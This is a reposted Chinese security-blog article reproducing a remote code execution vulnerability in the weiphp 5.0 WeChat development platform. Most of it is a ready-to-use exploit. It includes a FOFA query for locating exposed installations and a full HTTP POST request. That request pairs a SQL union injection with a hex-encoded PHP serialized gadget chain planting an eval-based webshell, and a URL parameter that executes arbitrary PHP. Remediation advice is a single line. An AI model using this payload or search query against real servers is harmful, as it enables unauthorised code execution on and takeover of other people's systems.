weiphp5.0存在远程代码执行漏洞 附POC软件

admin 2024年3月13日15:03:35评论45 views字数 2138阅读7分7秒阅读模式

 

1. weiphp5.0简介

微信公众号搜索:南风漏洞复现文库 该文章 南风漏洞复现文库 公众号首发

weiphp 是一个开源,高效,简洁的微信开发平台

2.漏洞描述

weiphp 是一个开源,高效,简洁的微信开发平台,它是基于 oneThink 这个简单而强大的内容管理框架实现的。weiphp 的目的是最大化的简化微信开发的流程,使用开发者能把最好的精力放到微信具体业务开发,并能以最快的时间完成。把一些常规而频繁的工作交由 weiphp 来处理即可。

CVE编号:

CNNVD编号:

CNVD编号:

3.影响版本

weiphp5.0

weiphp5.0存在远程代码执行漏洞 附POC软件
weiphp5.0存在远程代码执行漏洞

4.fofa查询语句

body="/css/weiphp.css" || title="weiphp" || title="weiphp4.0"

5.漏洞复现

漏洞链接:http://127.0.0.1/public/index.php/weixin/Notice/index?img=echo+md5(1);exit();

漏洞数据包:

POST /public/index.php/weixin/Notice/index?img=echo+md5(1);exit(); HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: 127.0.0.1
Content-Length: 1333
Content-Type: application/x-www-form-urlencoded

<xml>
<product_id>aaaa</product_id>
<appid>exp</appid>
<appid>=0) union select 1,2,3,4,5,6,7,0x4f3a32373a227468696e6b5c70726f636573735c70697065735c57696e646f7773223a313a7b733a33343a22007468696e6b5c70726f636573735c70697065735c57696e646f77730066696c6573223b613a313a7b693a303b4f3a31373a227468696e6b5c6d6f64656c5c5069766f74223a323a7b733a393a22002a00617070656e64223b613a313a7b733a333a226c696e223b613a313a7b693a303b733a323a223131223b7d7d733a31373a22007468696e6b5c4d6f64656c0064617461223b613a313a7b733a333a226c696e223b4f3a31333a227468696e6b5c52657175657374223a353a7b733a373a22002a00686f6f6b223b613a323a7b733a373a2276697369626c65223b613a323a7b693a303b723a383b693a313b733a353a226973436769223b7d733a363a22617070656e64223b613a323a7b693a303b723a383b693a313b733a363a226973416a6178223b7d7d733a393a22002a0066696c746572223b613a313a7b693a303b613a323a7b693a303b4f3a32313a227468696e6b5c766965775c6472697665725c506870223a303a7b7d693a313b733a373a22646973706c6179223b7d7d733a393a22002a00736572766572223b733a313a2231223b733a393a22002a00636f6e666967223b613a313a7b733a383a227661725f616a6178223b733a333a22696d67223b7d733a363a22002a00676574223b613a313a7b733a333a22696d67223b733a33303a223c3f70687020406576616c28245f524551554553545b27696d67275d293b223b7d7d7d7d7d7d,9,10,11,12-- </appid>
<mch_id>aaa</mch_id>
<nonce_str>aaa</nonce_str>
<openid>aaa</openid>
</xml>

执行md5(1) 函数

weiphp5.0存在远程代码执行漏洞 附POC软件

执行phpinfo()函数

weiphp5.0存在远程代码执行漏洞 附POC软件

7.整改意见

请关注官网更新 :https://www.weiphp.cn/

原文始发于微信公众号(南风漏洞复现文库):weiphp5.0存在远程代码执行漏洞 附POC软件

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月13日15:03:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   weiphp5.0存在远程代码执行漏洞 附POC软件http://cn-sec.com/archives/2566557.html

发表评论

匿名网友 填写信息